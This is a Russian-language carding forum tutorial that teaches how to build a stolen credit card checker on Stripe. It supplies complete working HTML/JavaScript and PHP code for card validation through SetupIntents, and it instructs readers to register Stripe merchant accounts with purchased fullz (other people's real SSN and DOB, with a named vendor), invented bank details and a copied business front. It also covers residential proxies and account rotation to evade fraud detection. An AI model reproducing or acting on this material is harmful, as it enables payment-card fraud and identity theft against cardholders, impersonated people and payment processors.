Professor
Professional
- Messages
- 1,750
- Reaction score
- 1,715
- Points
- 113
ВВЕДЕНИЕ: ПОЧЕМУ ЧЕКЕРЫ — ЭТО БОЛЬ
Бро, чекер-сервисы сейчас в полном дерьме. Они дохнут как мухи — либо полностью уходят в офлайн, либо становятся настолько ненадёжными, что толку от них ноль. А те, что работают? Они либо медленные, либо выдают больше ложных срабатываний, чем реальных результатов. Неудивительно, что мой личный ящик забит одним и тем же вопросом: "Как построить собственный чекер?"Что ж, я наконец разложу это по полочкам. Построение собственного чекера — сложная задача с множеством подходов, но мы разберём её шаг за шагом. Этот туториал — первый в серии, где мы рассмотрим различные методы, начиная с самого базового: валидация карт через API Stripe.
Сейчас ты работаешь с голым минимумом — валидацией Stripe, которая может проверять по одной карте за раз. В следующем туториале мы улучшим это с помощью массовой валидации, 3DS-валидации и исследований других мерчант-интеграций.
ЧАСТЬ 1: ПОЧЕМУ STRIPE?
Если ты следил за моими постами, ты уже знаешь мою позицию: верификация Stripe — это плохо. Не потому что она "убивает" карты — технически это не так. Реальная проблема в том, что система Radar от Stripe заносит твои карты в чёрный список (generic_decline).Каждая карта, которую ты прогоняешь через чекер Stripe, помечается как часть "card testing" атаки. И удачи использовать эту карту на любом сайте, работающем на Stripe, в будущем.
Но отчаянные времена требуют отчаянных мер. Может, ты посещаешь сайты, которые вообще не на Stripe, или тебе просто нужна быстрая проверка. Это всё ещё работает — просто понимай, во что ты ввязываешься.
1.1. Stripe API и Биннеры
Это те же биннеры, которых мы критиковали ранее? Оказывается, это они и есть — те самые, что управляют этими "SK checker services". В основном ими управляют технически подкованные индийцы, которые додумались автоматизировать свою мусорную стратегию.Они вручную генерируют и тестируют карты оптом, собирая публичные ключи Stripe с e-commerce сайтов. Тот же подход "обезьяны с печатной машинкой", только с более навороченными инструментами.
И не только Stripe они атакуют. Braintree, Square, любой платёжный процессор с публичными ключами, выставленными на сайтах, становится целью этих скриптов. Но сегодня мы сосредоточимся на Stripe, потому что он наиболее широко используется, и его API действительно приятно использовать, даже если эти клоуны злоупотребляют им.
1.2. Как работает верификация Stripe под капотом
| Этап | Что происходит |
|---|---|
| Токенизация | Данные карты конвертируются в одноразовый токен |
| Создание платёжного метода | Этот токен становится "payment method" |
| Опции аутентификации | Можно просто привязать карту (бесплатно) или понести небольшую комиссию ($0.50-$1) для проверки средств |
ЧАСТЬ 2: ПОДГОТОВКА
2.1. Собери свой арсенал
| Компонент | Требование |
|---|---|
| Прокси | Премиум US-прокси. Детекция скама Stripe мгновенно пометит дешёвые прокси. Резидентные — лучший выбор |
| Данные личности | Настоящие SSN + DOB. Фейковая информация — билет в один конец к закрытию аккаунта |
| Бизнес-фронт | Проверь Flippa.com на маленький устоявшийся e-commerce сайт. Скопируй их бизнес-модель |
| Банковские данные | Любые легитимные routing и account numbers подойдут, так как мы не обрабатываем платежи. Главное — правильный формат |
2.2. Настройка аккаунта Stripe
Качественный fullz (SSN, DOB, адрес и т.д.) — Bender-Search мой текущий выбор. Их данные точные и дешёвые — 50 центов за сет. Хотя есть другие поставщики, качество Bender стабильно.Пошаговая инструкция:
- Регистрация на stripe.com с email, к которому у тебя есть доступ
- Личная информация — используй имя и дату рождения из fullz. SSN должен совпадать точно
- Бизнес-детали:
- Выбери "Unregistered" как тип бизнеса
- Используй название и описание твоего e-commerce сайта
- Выбери индустрию, соответствующую продуктам сайта
- Банковские данные:
- Когда попросят банковские данные, выбери "Enter bank details manually" — иначе тебя перенаправят на Plaid, чего мы не хотим
- Найди реальный routing number в банке твоего города проживания
- Сгенерируй случайный 10-12-значный номер счёта
- Используй то же имя, что и в личной информации
- После верификации возьми API-ключи из панели управления — они понадобятся для чекера
ЧАСТЬ 3: НАСТРОЙКА ЧЕКЕРА
3.1. Проблема с прямым API
В прошлом ты мог просто использовать свой sk_live ключ и запустить Python-скрипт для выпуска токена и проверки карты. Сегодня Stripe не такой тупой — если ты попытаешься отправить сырые номера кредитных карт напрямую, ты получишь ошибку:
JSON:
{
"charge": null,
"code": null,
"decline_code": null,
"doc_url": null,
"message": "Sending credit card numbers directly to the Stripe API is generally unsafe. To continue processing use Stripe.js, the Stripe mobile bindings, or Stripe Elements.",
"param": null,
"payment_intent": null,
"payment_method": null,
"request_log_url": "https://dashboard.stripe.com/logs/req_21941209",
"setup_intent": null,
"source": null,
"type": "invalid_request_error"
}
Вместо прямого API-вызова теперь нужно использовать JavaScript-фронтенд Stripe для сбора и токенизации данных карты. Есть обходные пути — я расскажу о них подробнее в будущем туториале — но для этого базового подхода мы переключимся на простую PHP-серверную установку.
3.2. Что понадобится
Помести следующие файлы в одну папку:- index.html
- validate.php
- composer.json
Установка:
- Запусти composer install для установки PHP-модуля Stripe
- Размести папку локально (используя XAMPP, WAMP или любой простой PHP-сервер)
- Открой index.html в браузере. Он попросит sk_live и pk_live ключи, затем отобразит защищённое платёжное поле Stripe
- Введи данные карты; после отправки бэкенд (validate.php) использует payment intent для проверки легитимности карты и возвращает ответ
3.3. Полный код
index.html
HTML:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Card Validator</title>
<script src="https://js.stripe.com/v3/"></script>
<style>
body {
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
padding: 20px;
background: #f0f0f0;
}
.card-validator {
max-width: 500px;
margin: 0 auto;
background: white;
padding: 20px;
border-radius: 8px;
box-shadow: 0 2px 4px rgba(0,0,0,0.1);
}
h2 {
color: #32325d;
text-align: center;
margin-bottom: 24px;
}
.form-group {
margin-bottom: 16px;
}
label {
display: block;
margin-bottom: 8px;
color: #32325d;
}
input {
width: 100%;
padding: 8px 12px;
border: 1px solid #e4e4e4;
border-radius: 4px;
font-size: 16px;
margin-bottom: 16px;
}
.card-element {
padding: 12px;
border: 1px solid #e4e4e4;
border-radius: 4px;
margin-bottom: 16px;
}
button {
background: #5469d4;
color: white;
padding: 12px 24px;
border: none;
border-radius: 4px;
font-size: 16px;
cursor: pointer;
width: 100%;
}
button:disabled {
background: #93a3e8;
cursor: not-allowed;
}
.status {
margin-top: 16px;
padding: 12px;
border-radius: 4px;
text-align: center;
}
.error {
background: #fee;
color: #ff0000;
}
.success {
background: #e8ffe8;
color: #008000;
}
</style>
</head>
<body>
<div class="card-validator">
<h2>Card Validator</h2>
<div id="setup-form">
<div class="form-group">
<label>Secret Key (sk_live):</label>
<input type="text" id="sk_live" required>
</div>
<div class="form-group">
<label>Public Key (pk_live):</label>
<input type="text" id="pk_live" required>
</div>
<button onclick="setupStripe()">Continue</button>
</div>
<div id="card-form" style="display: none;">
<form id="payment-form">
<div class="form-group">
<label>Card Details:</label>
<div id="card-element" class="card-element"></div>
</div>
<button type="submit" id="submit-button">Validate Card</button>
</form>
<div id="status" class="status" style="display: none;"></div>
</div>
</div>
<script>
let stripe;
let elements;
let card;
let sk_live;
function setupStripe() {
const pk_live = document.getElementById('pk_live').value;
sk_live = document.getElementById('sk_live').value;
if (!pk_live || !sk_live) {
alert('Please enter both keys');
return;
}
stripe = Stripe(pk_live);
elements = stripe.elements();
card = elements.create('card');
document.getElementById('setup-form').style.display = 'none';
document.getElementById('card-form').style.display = 'block';
card.mount('#card-element');
}
document.getElementById('payment-form').addEventListener('submit', async function(e) {
e.preventDefault();
const submitButton = document.getElementById('submit-button');
const statusDiv = document.getElementById('status');
submitButton.disabled = true;
submitButton.textContent = 'Processing...';
statusDiv.style.display = 'block';
statusDiv.textContent = 'Validating card...';
statusDiv.className = 'status';
try {
const { paymentMethod, error } = await stripe.createPaymentMethod({
type: 'card',
card: card,
});
if (error) {
throw error;
}
const response = await fetch('validate.php', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({
payment_method_id: paymentMethod.id,
secret_key: sk_live,
}),
});
const result = await response.json();
if (result.error) {
throw new Error(result.error);
}
if (result.requires_action) {
statusDiv.textContent = 'Additional authentication required...';
const { error: confirmError } = await stripe.confirmCardSetup(
result.client_secret
);
if (confirmError) {
throw confirmError;
}
statusDiv.textContent = 'Card is Live! ✅';
statusDiv.className = 'status success';
return;
}
let message = '';
switch (result.status) {
case 'succeeded':
message = 'Card is Live! ✅';
break;
case 'processing':
message = 'Card validation is still processing...';
break;
case 'requires_action':
message = 'Card requires additional verification.';
break;
default:
message = `Card validation status: ${result.status}`;
}
statusDiv.textContent = message;
statusDiv.className = result.success ? 'status success' : 'status error';
} catch (error) {
statusDiv.textContent = `❌ Declined: ${error.message}`;
statusDiv.className = 'status error';
} finally {
submitButton.disabled = false;
submitButton.textContent = 'Validate Card';
}
});
</script>
</body>
</html>
validate.php
PHP:
<?php
header('Access-Control-Allow-Origin: *');
header('Content-Type: application/json');
header('Access-Control-Allow-Methods: POST');
header('Access-Control-Allow-Headers: Content-Type');
if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
http_response_code(200);
exit();
}
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
http_response_code(405);
echo json_encode(['error' => 'Method not allowed']);
exit();
}
require_once '../vendor/autoload.php';
function isValidJson($string) {
json_decode($string);
return json_last_error() === JSON_ERROR_NONE;
}
$rawInput = file_get_contents('php://input');
if (!isValidJson($rawInput)) {
http_response_code(400);
echo json_encode(['error' => 'Invalid JSON input']);
exit();
}
$input = json_decode($rawInput, true);
$payment_method_id = $input['payment_method_id'] ?? null;
$secret_key = $input['secret_key'] ?? null;
if (!$payment_method_id || !$secret_key) {
http_response_code(400);
echo json_encode(['error' => 'Missing required parameters']);
exit();
}
try {
\Stripe\Stripe::setApiKey($secret_key);
$setup_intent = \Stripe\SetupIntent::create([
'payment_method' => $payment_method_id,
'confirm' => true,
'usage' => 'off_session',
'return_url' => 'https://carder.pw',
'automatic_payment_methods' => [
'enabled' => true,
'allow_redirects' => 'never'
]
]);
$status = $setup_intent->status;
$success = in_array($status, ['succeeded', 'requires_action', 'processing']);
if ($status === 'requires_action' || $status === 'requires_source_action') {
echo json_encode([
'success' => false,
'status' => $status,
'setup_intent' => $setup_intent->id,
'client_secret' => $setup_intent->client_secret,
'requires_action' => true
]);
exit();
}
echo json_encode([
'success' => $success,
'status' => $status,
'setup_intent' => $setup_intent->id
]);
} catch (\Exception $e) {
http_response_code(400);
echo json_encode([
'error' => $e->getMessage(),
'type' => get_class($e)
]);
}
composer.json
JSON:
{
"require": {
"stripe/stripe-php": "^13.0"
}
}
ЧАСТЬ 4: ВАЖНЫЕ МОМЕНТЫ
4.1. Линковка vs Аутентификация
Вся идея линковки и аутентификации проста:| Метод | Что делает | Плюсы | Минусы |
|---|---|---|---|
| Линковка | Создаёт платёжный метод, как заполнение данных карты | Бесплатно, меньше следов | Меньше информации |
| Аутентификация | Пытается списать крошечную сумму ($0-1) | Больше ясности, активна ли карта | Больше следов, риск уничтожения |
4.2. Управление аккаунтом
Stripe безжалостен. В момент, когда ты начинаешь запускать паттерны, выглядящие подозрительно, они ударят по тормозам и уничтожат твой аккаунт.Лучшая стратегия:
- Ротируй между несколькими Stripe-аккаунтами
- Используй разные IP-адреса для каждого
- Держи количество верификаций карт на разумном уровне
- Не будь идиотом, который думает, что запуск горы тестов на одном аккаунте — хорошая идея
4.3. Обработка ошибок
Обработка ошибок — твоя спасательная верёвка. Научись парсить каждое сообщение об ошибке:- Иногда это значит, что карта мертва
- Иногда это просто Stripe — упрямая сука
- В любом случае, понимание этих сообщений означает, что ты можешь корректировать подход на лету
ЧАСТЬ 5: СТРАТЕГИИ И ФИШКИ
5.1. Стратегии
| Стратегия | Описание |
|---|---|
| Ротация аккаунтов | Не используй один Stripe-аккаунт для всего |
| Разные IP | Каждый аккаунт — свой прокси |
| Умеренность | Не гони 10,000 карт через один аккаунт |
| Парсинг ошибок | Понимай каждое сообщение |
| Малый старт | Начни с малого, понимай механику |
5.2. Фишки
Фишка 1: Fullz качествоBender-Search — 50 центов за сет, стабильное качество.
Фишка 2: Бизнес-фронт
Flippa.com для копирования бизнес-модели.
Фишка 3: Банковские данные
"Enter bank details manually" — избегай Plaid.
Фишка 4: Резидентные прокси
Дешёвые прокси = мгновенный флаг.
Фишка 5: Обработка 3DS
Скрипт обрабатывает requires_action автоматически.
ЧАСТЬ 6: РИСКИ И ИХ МИНИМИЗАЦИЯ
6.1. Риски
| Риск | Вероятность | Минимизация |
|---|---|---|
| Блокировка Stripe | Высокая | Ротация аккаунтов |
| Флаг карт | Высокая | Не используй на Stripe-сайтах |
| Блокировка прокси | Средняя | Резидентные прокси |
| Блокировка аккаунта | Высокая | Качественные fullz |
6.2. OPSEC-правила
- Ротируй Stripe-аккаунты
- Разные IP для каждого аккаунта
- Умеренное количество проверок
- Качественные fullz
- Резидентные прокси
- Парсинг ошибок
ЧАСТЬ 7: ПОЛНЫЙ ЧЕК-ЛИСТ
Перед началом:
- □ Премиум US-прокси (резидентные)
- □ Качественный fullz (SSN + DOB)
- □ Бизнес-фронт (Flippa.com)
- □ Банковские данные (routing + account)
- □ Email для регистрации
Настройка Stripe:
- □ Регистрация с email
- □ Личная информация из fullz
- □ Бизнес-детали (Unregistered)
- □ Банковские данные (manual)
- □ API-ключи получены
Настройка чекера:
- □ Файлы созданы (index.html, validate.php, composer.json)
- □ Composer install выполнен
- □ Сервер запущен
- □ Тестовая проверка
После проверки:
- □ Результат записан
- □ Аккаунт ротирован
- □ Прокси сменён
ЧАСТЬ 8: КЛЮЧЕВЫЕ ВЫВОДЫ
Бро, это только начало нашей серии по созданию чекеров. Мы начали с версии с тренировочными колёсами — проверка через Stripe API.Ключевые выводы:
- Stripe-верификация портит карты — Radar заносит их в чёрный список
- Нужен JavaScript-фронтенд — прямой API не работает
- PHP-сервер — простой подход — XAMPP/WAMP
- Ротация аккаунтов критична — Stripe безжалостен
- Обработка ошибок — спасение — парси каждое сообщение
В следующих туториалах мы погрузимся в реальное дело:
- Построение собственных систем аутентификации
- Массовые чекеры для разных платёжных процессоров
- Создание собственного Telegram CC Checker бота
- Чекеры, дающие полезные данные, а не просто "valid/invalid"
Помни: чекер хорош настолько, насколько хорош его оператор. Не будь идиотом, который прогоняет 10,000 карт через один Stripe-аккаунт и удивляется, почему его забанили. Начни с малого, понимай механику и масштабируй с умом.
Следи за следующим туториалом. Мы погрузимся в детали создания чекеров, которые заслуживают называться инструментами, а не игрушками.
Удачи, брат. Если что — пожалуйста не стесняйся и задавай любые вопросы по данной теме.